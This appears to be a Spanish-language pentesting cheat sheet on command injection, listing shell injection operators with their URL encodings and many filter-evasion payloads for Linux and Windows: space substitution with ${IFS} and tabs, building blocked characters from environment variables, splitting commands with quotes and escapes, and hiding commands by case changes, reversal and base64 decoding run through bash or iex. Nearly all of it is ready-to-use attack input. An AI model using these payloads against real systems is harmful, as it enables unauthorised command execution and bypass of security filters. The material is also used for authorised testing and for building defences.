Command injection

Operadores de inyección

OperadorURL EncodeEjecución

;

%3b

Ambos

\n

%0a

Ambos

&

%26

Ambos (generalmente la salida del segundo comando se muestra primero)

|

%7c

Ambos (solo se muestra la salida del segundo comando)

&&

%26%26

Ambos (solo si el primer comando tiene éxito)

||

%7c%7c

Segundo comando (solo si el primer comando falla)

``

%60%60

Ambos (solo en Linux/Unix)

$()

%24%28%29

Ambos (solo en Linux/Unix)

Evasión de filtros

Bypass de filtro de espacio

  • Utilización de tabulador: %09

  • Uso de la variable de entorno de Linux/Unix: ${IFS}

  • Bash brace expansion: {ls,-la}

Bypass de lista negra de caracteres

  • Uso de la variable de entorno.

    • Linux/Unix.

      • / = ${PATH:0:1}

      • ; = ${LS_COLORS:10:1}

      • Búsqueda de carácter en variables de entorno: printenv | grep "{character}"

    • Windows.

# Símbolo del sistema (cmd)
## carácter \
echo %HOMEPATH%
\Users\MrW0l05zyn
echo %HOMEPATH:~6,-10%
\

# PowerShell
## carácter \
$env:HOMEPATH[0]
\
## carácter espacio en blanco
$env:PROGRAMFILES[10]
(espacio en blanco)
## Obtener todas las variables de entorno
Get-ChildItem Env:
  • Cambio de carácter en Linux/Unix.

# Carácter \
## El carácter \ está en la posición 92 y 
## antes está el carácter [ en la posición 91
man ascii
echo $(tr '!-}' '"-~'<<<[)
\

# Carácter ;
## El carácter ; está en la posición 59 y 
## antes está el carácter : en la posición 58
man ascii
echo $(tr '!-}' '"-~'<<<:)
;

Bypass de lista negra de comandos

  • Linux/Unix.

# No mezclar el tipo de comillas y 
# la cantidad de comillas debe ser par
w'h'o'am'i
p'w'd
i'd'
w"h"o"am"i
p"w"d
i"d"

# La cantidad de caracteres "especiales" no debe ser par
who$@ami
p$@wd
i$@d
w\ho\am\i
p\wd
i\d
  • Windows.

# Símbolo del sistema (cmd)
who^ami

# PowerShell
## no mezclar el tipo de comillas y 
## la cantidad de comillas debe ser par
w'h'o'am'i
p'w'd
w"h"o"am"i
p"w"d

Ofuscación de comandos

  • Variaciones de mayúsculas y minúsculas.

# Linux/Unix
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
## URL encode
$(tr+"[A-Z]"+"[a-z]"<<<"WhOaMi")
## Utilización de tabulador %09
$(tr%09"[A-Z]"%09"[a-z]"<<<"WhOaMi")
## Uso de la variable de entorno ${IFS}
$(tr${IFS}"[A-Z]"${IFS}"[a-z]"<<<"WhOaMi")

# Windows
## Símbolo del sistema (cmd)
WhOaMi

## PowerShell
WhOaMi
  • Comandos invertidos.

# Linux/Unix
echo 'whoami' | rev
imaohw
$(rev<<<'imaohw')

# Windows
## PowerShell
"whoami"[-1..-20] -join ''
iex "$('imaohw'[-1..-20] -join '')"
  • Comandos encodeados.

# Linux/Unix
echo -n 'whoami' | base64
d2hvYW1p
bash<<<$(base64 -d<<<d2hvYW1p)
sh<<<$(base64 -d<<<d2hvYW1p)

# Windows
## PowerShell
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
dwBoAG8AYQBtAGkA
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

Última actualización